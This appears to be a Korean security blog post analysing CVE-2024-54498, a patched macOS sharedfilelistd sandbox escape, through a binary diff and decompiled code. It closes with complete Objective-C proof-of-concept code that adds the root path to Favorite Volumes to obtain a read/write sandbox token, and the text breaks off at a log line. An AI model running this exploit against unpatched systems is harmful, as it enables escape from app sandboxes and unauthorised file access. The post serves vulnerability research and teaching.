{"id":3750,"date":"2025-06-29T08:01:21","date_gmt":"2025-06-28T23:01:21","guid":{"rendered":"https:\/\/h4ck.kr\/?p=3750"},"modified":"2025-07-31T09:37:50","modified_gmt":"2025-07-31T00:37:50","slug":"cve-2024-54498-1day","status":"publish","type":"post","link":"https:\/\/h4ck.kr\/?p=3750","title":{"rendered":"[1day] CVE-2024-54498: sharedfilelistd: \ub8e8\ud2b8 \uacbd\ub85c\uc5d0 \ub300\ud55c \uc0cc\ub4dc\ubc15\uc2a4 \uc77d\uae30\/\uc4f0\uae30 \ud1a0\ud070 \ubc1c\uae09 \ucde8\uc57d\uc810"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">Source Code<\/h2>\n\n\n\n<p><a href=\"https:\/\/github.com\/wh1te4ever\/CVE-2024-54498-PoC\/\">https:\/\/github.com\/wh1te4ever\/CVE-2024-54498-PoC\/<\/a><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Write-up<\/h2>\n\n\n\n<p><a href=\"https:\/\/github.com\/wh1te4ever\/CVE-2024-54498-PoC\/blob\/main\/CVE-2024-54498_1day_%E1%84%87%E1%85%AE%E1%86%AB%E1%84%89%E1%85%A5%E1%86%A8.pdf\">https:\/\/github.com\/wh1te4ever\/CVE-2024-54498-PoC\/blob\/main\/CVE-2024-54498_1day_%E1%84%87%E1%85%AE%E1%86%AB%E1%84%89%E1%85%A5%E1%86%A8.pdf<\/a><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"904\" height=\"510\" src=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image-1-1.png\" alt=\"\" class=\"wp-image-3907\" srcset=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image-1-1.png 904w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image-1-1-300x169.png 300w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image-1-1-768x433.png 768w\" sizes=\"auto, (max-width: 904px) 100vw, 904px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"874\" height=\"414\" src=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image-2.png\" alt=\"\" class=\"wp-image-3908\" srcset=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image-2.png 874w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image-2-300x142.png 300w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image-2-768x364.png 768w\" sizes=\"auto, (max-width: 874px) 100vw, 874px\" \/><\/figure>\n\n\n\n<p>\ud574\ub2f9 \ucde8\uc57d\uc810\uc740 macOS Sequoia 15.2, Ventura 13.7.2, Sonoma 14.7.2\uc5d0\uc11c \ud328\uce58\ub418\uc5c8\uc73c\uba70, \uc0cc\ub4dc\ubc15\uc2a4\ub97c \ud0c8\ucd9c\ud560 \uc218 \uc788\ub294 \ucde8\uc57d\uc810\uc774\ub2e4.<\/p>\n\n\n\n<p>SharedFileList \uc11c\ube44\uc2a4\uc5d0\uc11c \ucde8\uc57d\uc810\uc774 \ubc1c\uc0dd\ud55c\ub2e4.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Diffing<\/h2>\n\n\n\n<p>\ucde8\uc57d\ud55c macOS 15.1.1 \ubc84\uc804\uacfc \ud328\uce58\ub41c 15.2 \ub300\uc0c1\uc73c\ub85c \ub514\ud551\uc744 \uc9c4\ud589\ud558\uc600\ub2e4.<\/p>\n\n\n\n<p>\ucde8\uc57d\uc810\uc774 \ubc1c\uacac\ub41c \ubc14\uc774\ub108\ub9ac\ub294 \ub2e4\uc74c\uacfc \uac19\ub2e4.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\/System\/Library\/CoreServices\/sharedfilelistd<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"80\" src=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image3-1024x80.png\" alt=\"\" class=\"wp-image-3909\" srcset=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image3-1024x80.png 1024w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image3-300x23.png 300w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image3-768x60.png 768w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image3-1536x120.png 1536w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image3-2048x160.png 2048w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>\ubc14\uc774\ub108\ub9ac\ub97c \ucd94\ucd9c\ud574\uc11c Bindiff\ub97c \ud1b5\ud574 \ube44\uad50\ud574\ubd24\uc744 \ub54c, \ud568\uc218 2\uac1c\uc758 \ucc28\uc774\uc810\uc774 \uc874\uc7ac\ud558\uc600\ub2e4.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>-[ConnectedProcess shouldExtendSandboxForListIdentifier:]<\/li>\n\n\n\n<li>-[ConnectedProcess canAccessItem:error:]<\/li>\n<\/ul>\n\n\n\n<p>\uba3c\uc800,-[ConnectedProcessshouldExtendSandboxForListIdentifier:] \uba54\uc18c\ub4dc\ub97c \uc0b4\ud3b4\ubcf4\uba74 \ub2e4\uc74c\uacfc \uac19\ub2e4.<\/p>\n\n\n\n<p>\u2022 macOS 15.1.1 \ucde8\uc57d\ud55c \ubc84\uc804<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">bool __cdecl -[ConnectedProcess shouldExtendSandboxForListIdentifier:](ConnectedProcess *self, SEL a2, id a3)\n{\n  id v4; \/\/ x19\n  bool v5; \/\/ w20\n\n  v4 = objc_retain(a3);\n  v5 = -[ConnectedProcess isSandboxed](self, \"isSandboxed\")\n    &amp;&amp; ((unsigned int)objc_msgSend(v4, \"isEqual:\", _kLSSharedFileListRecentApplicationItems) &amp; 1) == 0\n    &amp;&amp; ((unsigned int)objc_msgSend(v4, \"isEqual:\", _kLSSharedFileListRecentDocumentItems) &amp; 1) == 0\n    &amp;&amp; ((unsigned int)objc_msgSend(v4, \"isEqual:\", _kLSSharedFileListRecentServerItems) &amp; 1) == 0\n    &amp;&amp; ((unsigned int)objc_msgSend(v4, \"isEqual:\", _kLSSharedFileListFavoriteItems) &amp; 1) == 0\n    &amp;&amp; (!(unsigned int)_os_feature_enabled_impl(\"SharedFileList\", \"SecurityScopedBookmarks\")\n     || ((unsigned int)objc_msgSend(v4, \"hasPrefix:\", kLSSharedFileListApplicationRecentDocuments) &amp; 1) == 0);\n  objc_release(v4);\n  return v5;\n}\n\n<\/pre>\n\n\n\n<p>\u2022 macOS 15.2 \ud328\uce58\ub41c \ubc84\uc804<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">bool __cdecl -[ConnectedProcess shouldExtendSandboxForListIdentifier:](ConnectedProcess *self, SEL a2, id a3)\n{\n  id v4; \/\/ x19\n\n  v4 = objc_retain(a3);\n  if ( -[ConnectedProcess isSandboxed](self, \"isSandboxed\")\n    &amp;&amp; ((unsigned int)objc_msgSend(v4, \"isEqual:\", _kLSSharedFileListRecentApplicationItems) &amp; 1) == 0\n    &amp;&amp; ((unsigned int)objc_msgSend(v4, \"isEqual:\", _kLSSharedFileListRecentDocumentItems) &amp; 1) == 0\n    &amp;&amp; ((unsigned int)objc_msgSend(v4, \"isEqual:\", _kLSSharedFileListRecentServerItems) &amp; 1) == 0\n    &amp;&amp; ((unsigned int)objc_msgSend(v4, \"isEqual:\", _kLSSharedFileListFavoriteItems) &amp; 1) == 0\n    &amp;&amp; (unsigned int)_os_feature_enabled_impl(\"SharedFileList\", \"SecurityScopedBookmarks\") )\n  {\n    objc_msgSend(v4, \"hasPrefix:\", kLSSharedFileListApplicationRecentDocuments);\n  }\n  objc_release(v4);\n  return 0;\n}\n\n<\/pre>\n\n\n\n<p>\uc704 \ud568\uc218\ub97c \ubcf4\uba74, \ud328\uce58\ub41c \ubc84\uc804\uc5d0\uc11c\ub294 \uba54\uc18c\ub4dc \ud568\uc218\uac00 \ud56d\uc0c1 0 \uc744 \ubc18\ud658\ud558\uace0 \uc788\uc9c0\ub9cc, \ucde8\uc57d\ud55c \ubc84\uc804\uc5d0\uc11c\ub294 \ud2b9\uc815 \uc870\uac74\uc5d0 \ub530\ub77c 1 \uc744 \ubc18\ud658\uc2dc\ud0ac \uc218 \uc788\ub2e4.<\/p>\n\n\n\n<p>\uba3c\uc800 \ud504\ub85c\uc138\uc2a4\uac00 -[ConnectedProcessisSandboxed] \ub9ac\ud134\uac12\uc774 \ucc38\uc774\uc5ec\uc57c\ud558\uace0, \ub9e4\uac1c\ubcc0\uc218\uc5d0 \ub4e4\uc5b4\uac00\ub294 a3 \uac12\uc774 \ud2b9\uc815\ud55c \uac12\uacfc \uac19\uc9c0 \uc54a\uc544\uc57c \ud55c\ub2e4. \uac19\uc9c0 \uc54a\uc544\uc57c \ub418\ub294 \ud2b9\uc815\uac12\uc740 \ub2e4\uc74c\uacfc \uac19\ub2e4. <\/p>\n\n\n\n<p>\u2022 kLSSharedFileListRecentApplicationItems <\/p>\n\n\n\n<p>\u2022 kLSSharedFileListRecentDocumentItems <\/p>\n\n\n\n<p>\u2022 kLSSharedFileListRecentServerItems <\/p>\n\n\n\n<p>\u2022 kLSSharedFileListFavoriteItems<\/p>\n\n\n\n<p>\ub610,a3 \ub9e4\uac1c\ubcc0\uc218\uac00 kLSSharedFileListApplicationRecentDocuments \ub85c \uc2dc\uc791\ub418\uc9c0 \uc54a\uc544\uc57c \ud558\uac70\ub098, _os_feature_enabled_impl(&#8220;SharedFileList&#8221;,&#8221;SecurityScopedBookmarks&#8221;) \ud568\uc218 \ub9ac\ud134\uac12\uc774 0 \uc774\uc5ec\uc57c \ub41c\ub2e4.<\/p>\n\n\n\n<p>\uc774\ub7ec\ud55c \uc870\uac74\uc744 \ub9cc\uc871\uc2dc\ud0a4\uba74 \ud574\ub2f9 \uba54\uc18c\ub4dc\ub294 1 \uc744 \ubc18\ud658\uc2dc\ud0ac \uc218 \uc788\ub2e4.<\/p>\n\n\n\n<p>\ub450\ubc88\uc9f8\ub85c,-[ConnectedProcesscanAccessItem:error:] \uba54\uc18c\ub4dc\ub97c \uc0b4\ud3b4\ubcf4\uba74 \ub2e4\uc74c\uacfc \uac19\ub2e4.<\/p>\n\n\n\n<p>\uc67c\ucabd\uc740 \ucde8\uc57d\ud55c \ud568\uc218, \uc624\ub978\ucabd\uc740 \ud328\uce58\ub41c \ud568\uc218\uc774\ub2e4. \ud328\uce58\ub41c \ud568\uc218\ub97c \ubcf4\uba74, v17\uac12\uc774 \u201c\/\u201d \ubb38\uc790\uc5f4\uc77c \uacbd\uc6b0\uc5d0\ub294 v21\uac12\uc740 1\uc774 \ub41c\ub2e4.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"401\" src=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image4-1024x401.png\" alt=\"\" class=\"wp-image-3910\" srcset=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image4-1024x401.png 1024w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image4-300x117.png 300w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image4-768x301.png 768w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image4-1536x601.png 1536w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image4-2048x802.png 2048w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>\uc624\ub978\ucabd\uc5d0 \ud328\uce58\ub41c \ucf54\ub4dc\ub97c \ubcf4\uba74 v21\uac12\uc774 1\uc77c \uacbd\uc6b0, \uc0cc\ub4dc\ubc15\uc2a4\uc5d0 \uc758\ud574 \uc81c\ud55c\ub418\uc5c8\ub2e4\uba74\uc11c \uc5d0\ub7ec\ub97c \ubc18\ud658\ud55c\ub2e4.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"456\" src=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image5-1024x456.png\" alt=\"\" class=\"wp-image-3911\" srcset=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image5-1024x456.png 1024w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image5-300x134.png 300w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image5-768x342.png 768w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image5.png 1074w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Analysis<\/h2>\n\n\n\n<p>\ucde8\uc57d\uc810\uc774 \ud328\uce58\ub41c -[ConnectedProcess shouldExtendSandboxForListIdentifier:] \uba54\uc18c\ub4dc\ub97c \uba3c\uc800 \uc0b4\ud3b4\ubcf4\uc790.<\/p>\n\n\n\n<p>\uc5ed\ucc38\uc870\ub97c \ud574\ubcf4\uba74, -[ConnectedProcess resolveItemWithIdentifier:listIdentifier:options:reply:] \uba54\uc18c\ub4dc\uc5d0 \uc758\ud574 \ud638\ucd9c\ub418\ub294 \uac83\uc744 \uc54c \uc218 \uc788\ub2e4.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"76\" src=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image6-1024x76.png\" alt=\"\" class=\"wp-image-3912\" srcset=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image6-1024x76.png 1024w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image6-300x22.png 300w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image6-768x57.png 768w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image6-1536x114.png 1536w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image6-2048x152.png 2048w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>LSSharedFileListItemCopyResolvedURL \ud568\uc218\ub97c \ud1b5\ud574 \ud638\ucd9c\uc2dc\ud0ac \uc218 \uc788\ub2e4. LSSharedFileListItemCopyResolvedURL \ud568\uc218\ub294 macOS\uc758 LSSharedFileList API\uc5d0\uc11c \uc0ac\uc6a9\ud558\ub294 \ud568\uc218\ub85c, \ucd5c\uadfc \ubb38\uc11c, \ub85c\uadf8\uc778 \ud56d\ubaa9 \ub4f1 \uc2dc\uc2a4\ud15c\uc5d0\uc11c \uc0ac\uc6a9\ub418\ub294 \uacf5\uc720 \ubaa9\ub85d\uc744 \uad00\ub9ac\ud558\ub294 \ub370 \uc0ac\uc6a9\ub418\ub294 \ubd81\ub9c8\ud06c\uc758 URL\uc744 \uac00\uc838\uc624\ub294\ub370 \uc0ac\uc6a9\ub41c\ub2e4.<\/p>\n\n\n\n<p>-[ConnectedProcess resolveItemWithIdentifier:listIdentifier:options:reply:] \uba54\uc18c\ub4dc\ub97c \uc790\uc138\ud788 \uc0b4\ud3b4\ubcf4\uba74,<\/p>\n\n\n\n<p>[ConnectedProcess shouldExtendSandboxForListIdentifier:] \uba54\uc18c\ub4dc\uac00 1\uc744 \ubc18\ud658\ud560 \uacbd\uc6b0, v19\uc5d0\uc11c 0x40000000LL \uac12\uc744 OR \uc5f0\uc0b0\uc790\ub85c \uc138\ud2b8\uc2dc\ud0a4\uace0, \uc138\ud2b8\ub41c \uac12\uc774 -[ListManager resolveItemWithIdentifier:onList:options:reply:] \uba54\uc18c\ub4dc\ub85c \uc804\ub2ec\ub41c\ub2e4.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"260\" src=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image7-1024x260.png\" alt=\"\" class=\"wp-image-3913\" srcset=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image7-1024x260.png 1024w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image7-300x76.png 300w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image7-768x195.png 768w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image7-1536x390.png 1536w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image7.png 1940w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>[ListManager resolveItemWithIdentifier:onList:options:reply:] \uba54\uc18c\ub4dc\ub97c \uc790\uc138\ud788 \uc0b4\ud3b4\ubcf4\uba74, \uba3c\uc800 bookmark \uba54\uc11c\ub4dc\ub97c \ud638\ucd9c\ud558\uc5ec \ubd81\ub9c8\ud06c \ub370\uc774\ud130\ub97c \uac00\uc838\uc628\ub2e4.<\/p>\n\n\n\n<p>\uac00\uc838\uc628 \ubd81\ub9c8\ud06c \ub370\uc774\ud130\ub294 NSURL \ud074\ub798\uc2a4 \uba54\uc11c\ub4dc\uac00 \ud574\uc11d\ud558\uc5ec \ud574\ub2f9 URL \uac1d\uccb4\ub97c \ubc18\ud658\uc2dc\ud0a8\ub2e4.<\/p>\n\n\n\n<p>URL \uac1d\uccb4\uac00 \ubc18\ud658\ub418\uba74, -[NSURL fileSystemRepresentation] \uba54\uc11c\ub4dc\ub97c \ud638\ucd9c\ud558\uc5ec \ud30c\uc77c\uc758 \uacbd\ub85c \ubb38\uc790\uc5f4\uc744 \uac00\uc838\uc628\ub2e4.<\/p>\n\n\n\n<p>\ub9cc\uc57d \ub9e4\uac1c\ubcc0\uc218\ub85c \ubc1b\ub294 v7\uc774 0x40000000LL \uac12\uc774 OR \uc5f0\uc0b0\uc790\ub85c \uc138\ud2b8\ub418\uc5b4\uc788\uc73c\uba74, sandbox_extension_issue_file \ud568\uc218\ub97c \ud1b5\ud574 \uc0cc\ub4dc\ubc15\uc2a4 \ud655\uc7a5\uc744 \uc694\uccad\ud558\uc5ec \ud1a0\ud070\uc744 \ubc1c\uae09\ubc1b\uc744 \uc218 \uc788\ub2e4.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"518\" src=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image8-1024x518.png\" alt=\"\" class=\"wp-image-3914\" srcset=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image8-1024x518.png 1024w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image8-300x152.png 300w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image8-768x389.png 768w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image8-1536x777.png 1536w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image8-2048x1036.png 2048w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>\uadf8 \ub2e4\uc74c\uc73c\ub85c, -[ConnectedProcess canAccessItem:error:] \uba54\uc18c\ub4dc\ub97c \uc0b4\ud3b4\ubcf4\uc790.<\/p>\n\n\n\n<p>\uc5ed\ucc38\uc870\ub97c \ud574\ubcf4\uba74, -[ConnectedProcess insertItem:atIndex:listIdentifier:reply:] \uba54\uc18c\ub4dc\uc5d0 \uc758\ud574 \ud638\ucd9c\ub418\ub294 \uac83\uc744 \uc54c \uc218 \uc788\ub2e4.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"73\" src=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image9-1024x73.png\" alt=\"\" class=\"wp-image-3915\" srcset=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image9-1024x73.png 1024w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image9-300x21.png 300w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image9-768x54.png 768w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image9-1536x109.png 1536w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image9-2048x145.png 2048w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>LSSharedFileListInsertItemURL \ud568\uc218\ub97c \ud1b5\ud574 \ud638\ucd9c\uc2dc\ud0ac \uc218 \uc788\ub2e4.<\/p>\n\n\n\n<p>LSSharedFileListInsertItemURL \ud568\uc218\ub294 macOS\uc758 LSSharedFileList API\uc5d0\uc11c \uc0ac\uc6a9\ud558\ub294 \ud568\uc218\ub85c, \ucd5c\uadfc \ubb38\uc11c, \ub85c\uadf8\uc778 \ud56d\ubaa9 \ub4f1 \uc2dc\uc2a4\ud15c\uc5d0\uc11c \uc0ac\uc6a9\ub418\ub294 \uacf5\uc720 \ubaa9\ub85d\uc744 \uad00\ub9ac\ud558\ub294 \ub370 \uc0ac\uc6a9\ub418\ub294 \ubd81\ub9c8\ud06c\uc5d0 \ud56d\ubaa9\uc744 \ucd94\uac00\ud558\uac70\ub098 \uae30\uc874 \ud56d\ubaa9\uc744 \uc5c5\ub370\uc774\ud2b8\ud558\ub294 \uc5ed\ud560\uc744 \ud55c\ub2e4.<\/p>\n\n\n\n<p>\ucde8\uc57d\uc810\uc774 \ud328\uce58\ub418\uae30 \uc804\uc5d0\ub294 \u201c\/\u201d \ub8e8\ud2b8 \uacbd\ub85c\ub97c \ubd81\ub9c8\ud06c\uc5d0 \ucd94\uac00\uc2dc\ud0a4\ub294 \uac83\uc774 \uac00\ub2a5\ud558\uc600\ub2e4.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Exploit<\/h2>\n\n\n\n<p>\uc775\uc2a4\ud50c\ub85c\uc787\ud558\ub294 \ubc29\ubc95\uc740 \uc544\ub798\uc640 \uac19\ub2e4.<\/p>\n\n\n\n<p>\ubd81\ub9c8\ud06c\uc5d0 \u201c\/\u201d \ub8e8\ud2b8 \uacbd\ub85c\ub97c \ucd94\uac00\ud55c\ub2e4.<\/p>\n\n\n\n<p>\ubd81\ub9c8\ud06c \uc885\ub958\ub294 \ub2e4\uc74c\uacfc \uac19\uc9c0 \uc54a\uc544\uc57c \ud55c\ub2e4.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>kLSSharedFileListRecentApplicationItems<\/li>\n\n\n\n<li>kLSSharedFileListRecentDocumentItems<\/li>\n\n\n\n<li>kLSSharedFileListRecentServerItems<\/li>\n\n\n\n<li>kLSSharedFileListFavoriteItems<\/li>\n\n\n\n<li>kLSSharedFileListApplicationRecentDocuments \uc774\ub984\uc73c\ub85c \uc2dc\uc791\ub418\ub294 \ubd81\ub9c8\ud06c<\/li>\n<\/ul>\n\n\n\n<p>\uc774\uc81c LSSharedFileListItemResolve \ud568\uc218\ub97c \ud638\ucd9c\ud558\uba74, \ub8e8\ud2b8\uc778 \ubaa8\ub4e0 \uacbd\ub85c\uc5d0 \ub300\ud574 \uc0cc\ub4dc\ubc15\uc2a4 \uc77d\uae30\/\uc4f0\uae30\uac00 \uac00\ub2a5\ud574\uc9c4\ub2e4.<\/p>\n\n\n\n<p>\uc775\uc2a4\ud50c\ub85c\uc787 \ucf54\ub4dc\ub97c \ud1b5\ud574 \uc790\uc138\ud788 \uc0b4\ud3b4\ubcf4\uc790.<\/p>\n\n\n\n<p><a href=\"https:\/\/github.com\/wh1te4ever\/CVE-2024-54498-PoC\">https:\/\/github.com\/wh1te4ever\/CVE-2024-54498-PoC<\/a><\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">int add_root_dir_to_favorites(void) {\n    CFStringRef listType = kLSSharedFileListFavoriteVolumes; \n    LSSharedFileListRef favoriteVolumesList = LSSharedFileListCreate(NULL, listType, NULL);\n    \n    if (favoriteVolumesList) {\n        NSString *path = @\"\/\";\n        CFURLRef tmpDirURL = (__bridge CFURLRef)[NSURL fileURLWithPath:path];\n        \n        \/\/ Favorite Volumes\uc5d0 \ucd94\uac00\n        LSSharedFileListItemRef newItem = LSSharedFileListInsertItemURL(\n                                                                        favoriteVolumesList,\n                                                                        kLSSharedFileListItemLast,\n                                                                        NULL,\n                                                                        NULL,\n                                                                        tmpDirURL,\n                                                                        NULL,\n                                                                        NULL\n                                                                        );\n        \n        if (newItem) {\n            NSLog(@\"[+] Successfully added %@ to Favorite Volumes.\", path);\n            CFRelease(newItem);\n        } else {\n            NSLog(@\"[-] Failed to add %@ to Favorite Volumes.\", path);\n        }\n        \n        CFRelease(favoriteVolumesList);\n    } else {\n        NSLog(@\"[-] Failed to access LSSharedFileList for Favorite Volumes.\");\n    }\n    \n    return 0;\n}\n\nint remove_root_dir_from_favorites(void) {\n    UInt32 seedValue;\n    \n    LSSharedFileListRef favoriteVolsRef = LSSharedFileListCreate(NULL, kLSSharedFileListFavoriteVolumes, NULL);\n    if (!favoriteVolsRef) {\n        NSLog(@\"[-] Failed to access favorite items list.\");\n        return 0;\n    }\n\n    CFArrayRef favoriteVols = LSSharedFileListCopySnapshot(favoriteVolsRef, &amp;seedValue);\n    CFIndex arrayCount = CFArrayGetCount(favoriteVols);\n    \n    for (CFIndex i = 0; i &lt; arrayCount; ++i) {\n        CFURLRef urlRef;\n        LSSharedFileListItemRef itemRef = (LSSharedFileListItemRef)CFArrayGetValueAtIndex(favoriteVols, i);\n        OSStatus status = LSSharedFileListItemResolve(itemRef, 0, &amp;urlRef, NULL);\n\n        if (status != noErr) {\n            continue;\n        }\n        \n        NSURL *theURL = (__bridge NSURL*) urlRef;\n        NSString *checkPath = [theURL path];\n        \n        if ([checkPath isEqualToString:@\"\/\"]) {\n            LSSharedFileListItemRemove(favoriteVolsRef, itemRef);\n            NSLog(@\"[+] Successfully removed root directory (\/) from favorite volumes.\");\n        }\n        \n        CFRelease(urlRef);\n    }\n    \n    CFRelease(favoriteVols);\n    CFRelease(favoriteVolsRef);\n    \n    return 0;\n}\n\nint trigger_exploit(void) {\n    LSSharedFileListRef recentItems = LSSharedFileListCreate(NULL, kLSSharedFileListFavoriteVolumes, NULL);\n    if (recentItems) {\n        NSArray *items = (__bridge NSArray *)LSSharedFileListCopySnapshot(recentItems, NULL);\n        \n        NSLog(@\"items array: %@\\\\n\", items);\n        for (id item in items) {\n            \n            LSSharedFileListItemRef itemRef = (__bridge LSSharedFileListItemRef)item;\n            CFErrorRef errorRef;\n            CFURLRef itemURL = LSSharedFileListItemCopyResolvedURL(itemRef, 0, &amp;errorRef);\n            NSString *itemPath = [(__bridge NSURL *)itemURL path];\n            NSLog(@\"itemPath: %@\", itemPath);\n        }\n        CFRelease(recentItems);\n    } else {\n        NSLog(@\"Failed to retrieve recent items.\");\n    }\n    \n    return 0;\n}\n\nint main(void) {\n    \/\/Exploit...\n    add_root_dir_to_favorites();\n    \n    trigger_exploit();\n    \n    remove_root_dir_from_favorites();\n}\n\n<\/pre>\n\n\n\n<p>\ubd81\ub9c8\ud06c\uc5d0 \u201c\/\u201d \ub8e8\ud2b8 \uacbd\ub85c\ub97c \ucd94\uac00\ud558\ub294\ub370, \uc885\ub958\ub97c kLSSharedFileListFavoriteVolumes\uc73c\ub85c \uc815\ud574\uc57c \ud55c\ub2e4.<\/p>\n\n\n\n<p>\uadf8\ub807\uac8c \ud574\uc57c -[ConnectedProcess shouldExtendSandboxForListIdentifier:] \uba54\uc18c\ub4dc\uac00 1\uc744 \ubc18\ud658\ud558\uc5ec, 0x40000000LL \uac12\uc744 OR \uc5f0\uc0b0\uc790\ub85c \uc138\ud2b8\ub418\uc5b4, \ucd94\ud6c4\uc5d0 sandbox_extension_issue_file \ud568\uc218\ub97c \ud638\ucd9c\uc2dc\ud0ac \uc218 \uc788\uae30 \ub54c\ubb38\uc774\ub2e4.<\/p>\n\n\n\n<p>\uc774\uc81c LSSharedFileListItemResolve \ud568\uc218\ub97c \ud638\ucd9c\uc2dc\ud0a4\uba74 \ubd81\ub9c8\ud06c \ub9ac\uc2a4\ud2b8\ub97c \uac00\uc838\uc624\uba74\uc11c \u201c\/\u201d, \uc989 \uc804\uccb4 \uacbd\ub85c\uc5d0 \ub300\ud55c \uc0cc\ub4dc\ubc15\uc2a4 \ud1a0\ud070\uc744 \ubc1c\uae09\ubc1b\uc544 sandbox_extension_consume \ud568\uc218\ub97c \ud638\ucd9c\ud558\ub294 \uac83\uc744 \ud655\uc778\ud560 \uc218 \uc788\uc5c8\ub2e4.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">2025-01-09 20:59:24.855 